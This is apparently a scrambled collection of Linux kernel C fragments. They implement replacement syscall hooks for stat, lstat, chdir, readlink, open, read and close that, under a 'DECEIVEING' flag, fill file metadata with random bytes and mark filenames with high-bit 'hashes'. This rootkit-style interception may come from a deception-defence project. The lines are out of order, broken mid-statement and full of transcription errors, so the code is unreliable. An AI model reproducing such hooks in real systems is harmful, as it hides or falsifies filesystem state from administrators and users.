                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  int old_fsgid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              return org_sys_setresgid(rgid,egid,sgid);
                                                                                                       return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           error = vfs_readdir(file, my_filldir64, &buf); //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (!file)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    error = -EBADF;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              return old_fsgid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (gid == current->gid |
                                                                                                                                                                                                                                                                                                                                                                                                                error = but.error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (error < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          buf.error = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      buf.count = count;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  buf.previous = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        buf.current_dir = (struct linux_dirent64 *) dirent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int error;
                                                                                                                                                                                                                                                                                                                                                                                 lastdirent = buf.previous;
                                                                                                                                                                                                                                                                   copy_to_user(&lastdirent->d_off, &d.d_off, sizeof(d.d_off));
                                                                                                                                                                                                                                                                                                                                                          (lastdirent)
                                                                                                                                                                                                                                                                                                                                                                                                                                       goto out_putf;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                current->fsgid = gid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (gid != old_fsgid)
                                                                                                                                                                                                                                             error = count - buf.count;
                                                                                                                                                                                                                                                                                               d.d_off = file->f_pos;
                                                                                                                                                                                                                                                                                                                           struct linux_dirent64 d;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                capable(CAP_SETGID))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          gid == current->sgid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  current->mm->dumpable =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        || gid == current->fsgid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      gid == current->egid ||
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      0
```

```
// printk("\n-- %o",nd.dentry->d_parent->d_inode->i_mode);
                                                        *
                                                                                                      `*
                                                                                                                                                                                                                                                                          // printk(" (%d)",error);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       statbuf, long flags)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       asmlinkage long my_sys_lstat64(char * filename, struct stat64
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // printk("\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         // return org_sys_stat64(filename, statbuf, flags);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    printk("\n--stat64:");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            printk("\n--lstat64: ");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        int i;
                                                                                                                                                                                                                                                                                                   error = my__user_walk(filename,LOOKUP_POSITIVE,&nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      unsigned char rand;
                                                                                                                                                                                                                                                    if(error==-EACCES){ //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   buf=(char *)statbuf;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            unsigned long temp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   error = my__user_walk(filename,LOOKUP_FOLLOW|LOOKUP_POSITIVE, &nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           struct nameidata nd;
                                                                                                                                                     if (!error) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               char * buf; //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       struct nameidata nd;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (DECEIVEING&& (filename[3]&0x80)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                     if(DECEIVEING&&(filename[3]&0x80)){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 int error;
                                                      if (!error
                                                                                                   if(error)
                                                                                                                                                                                                                         printk("--yypee");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             path_release(&nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (!error)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if(error)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       error = do_revalidate(nd.dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (!error) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if(error==-EACCES){ //dcvn -- may not be needed
                                                                                                                            error = do_revalidate(nd.dentry);
                                                                                                                                                                                                      error=0;
                                                                                                                                                                                                                                                                                                                                                                             filename [3] \&= \sim 0 \times 80;
                                                                                                                                                                                                                                                                                                                                                                                                      filename \{2\} &=~0x80;
                                                                                                                                                                                                                                                                                                                                                                                                                               filename[1]&=~0x80;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         filename [3] &= \sim 0 \times 80;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  filename [2] \&= \sim 0 \times 80;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            filename[1]&=~0x80;
                                                                         printk("\n--1stat64: %d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk("\n--stat64: %d (dr)",error);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    error = cp_new_stat64(nd.dentry->d_inode, statbuf);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        error=0;
                         error = cp_new_stat64(nd.dentry->d_inode, statbuf);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           //printk("\n--stat64: %d (upw)",error);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              //dcvn
                                                                                                                                                                                                                                                      ¦
                                                                           (dr) ", error);
                                                                                                                                                                                                                                                  may not be needed
                                                                                                                                                                                                                                                                                                                                                                                                                                                   //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                   --reverse hash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               --reverse hash
                                                                                                                                                                                                                                                =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           :::
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      >i_mode&0x4)/*&&rand%2*/)
// printk("\n--readlink: ");
                                                                         bufsiz)
                                                                                           asmlinkage long my_sys_readlink(const char * path, char * buf,
                                                                                                                                      // return org_sys_lstat64(filename,statbuf,flags);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           >i_mode&0x4)){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                stat64));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               >
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              =
                         long temp;
                                                                                                                                                                         return error;
                                                                                                                                                                                                                                                                                                 if (error==-ENOENT) {
                                                                                                                                                                                                                                                                                                                          /printk("\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (DECEIVEING) (
                                                                                                                                                                                                                                                printk("\n--DIDN'T FIND IT");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if(0){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (DECEIVEING&&! (nd.dentry->d_parent->d_inode
                                                                                                                                                                                                                                                                        error=0;
                                                                                                                                                                                                                                                                                                                                                                         path_release(&nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             get_random_bytes(statbuf, sizeof(struct stat64));
                                                                                                                                                                                                                       get_random_bytes(statbuf, sizeof(struct stat64));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printk("\n-- garbling stats");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            get_random_bytes(&rand,1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          get_random_bytes(&rand,1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   switch(TIMESLICE) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 for(i=0;i<sizeof(struct stat64);i++)</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /*if a directory is not world readable (0x4 bit),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   then garble its file stats*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            case 0:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           buf[i] =rand;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 case
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   case
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  case 1:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         // printk("\n--%o",statbuf->st_mode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if(!(nd.dentry->d_parent->d_inode-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                statbuf->st_gid=rand%16;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         get_random_bytes(statbuf,sizeof(struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                statbuf->st_size=(temp*600) %68000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         temp=statbuf->st_size;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        statbuf->st_uid=rand%15;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if(statbuf->st_mode&64)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                statbuf->st_mode = 0666
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   statbuf->st_mode =011
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 // garble file stats
```

```
asmlinkage long my_sys_chdir(const char * filename)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                asmlinkage long my_sys_stat(char * filename, struct __old_kernel_stat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               asmlinkage long my_sys_lstat(char * filename, struct __old_kernel_stat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    >pid,current-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        // printk("\n--cap(%d): eff: %x inh:
                                                                                                                                                                                                                                                                                                                             FUNCTION*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  // printk("\n--jif: %ld",TIMESLICE);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          // printk("\n--stat: ");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       // printk("\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        >cap_effective,current->cap_inheritable,current->cap_permitted);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  // temp_storage=filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            // printk("\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           long temp;
// printk("\n--1stat: ");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      statbuf)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           statbuf)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         temp=org_sys_readlink(path,buf,bufsiz);
printk("\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  temp=org_sys_stat(filename, statbuf);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               temp= org_sys_lstat(filename,statbuf);
                                                                                                                                                                                                                                                                                                                                                                                                                               if (IS_ERR(name))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       name = getname(filename);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                int d_flag; //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          char *name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                struct nameidata nd;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return temp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return temp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   error = PTR_ERR(name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        long temp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     return temp;
                                                                                                                                                                                                   if (DECEIVEING) (
                                                                                                                                                                                                                                                                                                                                                     /*THE FOLLOWING COMMENT IS SPECIFIC FOR THE CURRENT GARBLE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                       _flag=0;
                                                                                                                                                                                                                                                                                                                                                                                                       goto out;
                                                                                                                                                                       if(*name=='/'){
                                                                                                                                                                                                                                                                     * until we get
                                                                                                                                                                                                                                                                                                   \prime * if a pathname starts with slashes, we need to get rid of them
                                                                                                                                                                                                                                                     on the third character*/
                   d_flag=1;
                                                                     name [2] &= -0x80;
                                                                                               name[1]&=~0x80;
                                                                                                                                               while(*name=='/')
name--;
                                             name [3] \& = ~0x80;
                                                                                                                                                                                                                                                                         to the filename so that we
                                                                                                                         name++;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    //dcvn
                                               // clear hash
// clear hash
                                                                                                 // clear hash
                                                                                                                                                                                                   //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                %x perm: %x",current-
                                                                                                                                                                                                   --reverse hash
                                                                                                                                                                                                                                                                               can
                                                                                                                                                                                                                                                                               reverse
                                                                                                                                                                                                                                                                               the hash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        // printk("\n--ch: %d %s",error,name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                */ if (error)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  =
                                                                                                                         dput_and_out:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (my_path_init(name,LOOKUP_POSITIVE|LOOKUP_FOLLOW|LOOKUP_DIRECTORY,&nd)
                     // printk("\n");
                                             // printk("\n--ch: ending
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 //printk("\n-- %s",nd.dentry->d_name.name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /printk("\n--sb: %x",nd.dentry->d_sb);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if(error==-EACCES&&DECEIVEING) //dcvr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk("\nby here");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                shrink_dcache_sb((struct super_block *) 0xc120a400); // dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         error = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              putname (name)
                                                                                           path_release(&nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  error = permission(nd.dentry->d_inode,MAY_EXEC);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (error)
return error
                                                                                                                                                 set_fs_pwd(current->fs,
                                                                                                                                                                                                                                                                                                                                                       if(DECEIVEING&&d_flag){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if(error==-EACCES&&DECEIVEING) //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          // printk("\n-- chdir:
                                                                                                                                                                                                                                                                                                                                                                                                                               /* without the garble here, the ungarbled pathname would appear
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              printk("\n--i'm in\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   error = my_path_walk(name, &nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           else if(name[3]&0x80){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           goto dput_and_out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  error=0;
                                                                                                                                                                                                                                                                               nd.dentry->d_name.name[2] |=0x80
                                                                                                                                                                                                                                                                                                       nd.dentry->d_iname[1] |=0x80;
                                                                                                                                                                                                                                                                                                                               nd.dentry->d_name.name[1] | =0x80;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        error=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      goto out;
                                                                                                                                                                                                   nd.dentry->d_iname[3]|=0x80;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // printk("\n-- ch: I hit path_walk error %d\n",error);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     name [2] &= -0x80;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               name [3] &= -0 \times 80;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 name [1]&=~0x80;
                                                                                                                                                                                                                             .dentry->d_name.name[3] |=0x80
                                                                                                                                                                                                                                                   .dentry->d_iname[2]|=0x80;
                                                                                                                                                                                                                                                                                                                                                                                                         on the command line prompt */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     d_flag=1;
                                                                                                                                                 nd.mmt, nd.dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bypassed path_walk");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 // clear hash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   // clear hash
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   //clear hash
                                                 %s", filename);
                                                                                                                                                                                                                                                                                                                                                           //dcvn --
                                                                                                                                                                                                                                                                                                                                                           hash
```

```
//printk("\n--op: %s",filename);
                                                                                                         #endif
                                                                                                                                                      #if BITS_PER_LONG != 32
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           reading
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    count)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        asmlinkage ssize_t my_sys_read(unsigned int fd,
                                                                                                                                                                                                                                                    asmlinkage int my_sys_open(const char *filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                      \n", fd, dcv[3], dcv[4], dcv[5], dcv[6], dcv[7], dcv[8], dcv[9], dcv[10]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       asmlinkage long my_sys_close(unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // if(fd!=0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     // printk("\n--fm: %x",file_marked);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           // printk("\n--close:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   intercept
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          //if(fd!=0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          // unsigned int i;
                                                                                                                                                                                                                                                                                                                                                                                 //printk("c(%d)",fd);
                                                                                                                                                                                                                                                                                                                                // printk("\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       // printk("\n--read: ");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 /printk("--- %s ---
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 printk("\n");
                                                temp_storage=filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                    if (IN_RANGE (fd))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  unsigned char rand;
                                                                                                                                                                                                                                                                                                                                                          temp=org_sys_close(fd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return retval;
                               tmp = getname(filename);
                                                                                                                                                                                                       char * tmp;
                                                                                                                                                                                                                                                                                                       return temp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Long temp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              retval = org_sys_read(fd,buf,count);
                                                                                                                               flags |= O_LARGEFILE;
                                                                                                                                                                                  int fd, error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     file_marked=file->f_flags&DFLAG;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          file=fget(fd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         int file_marked;
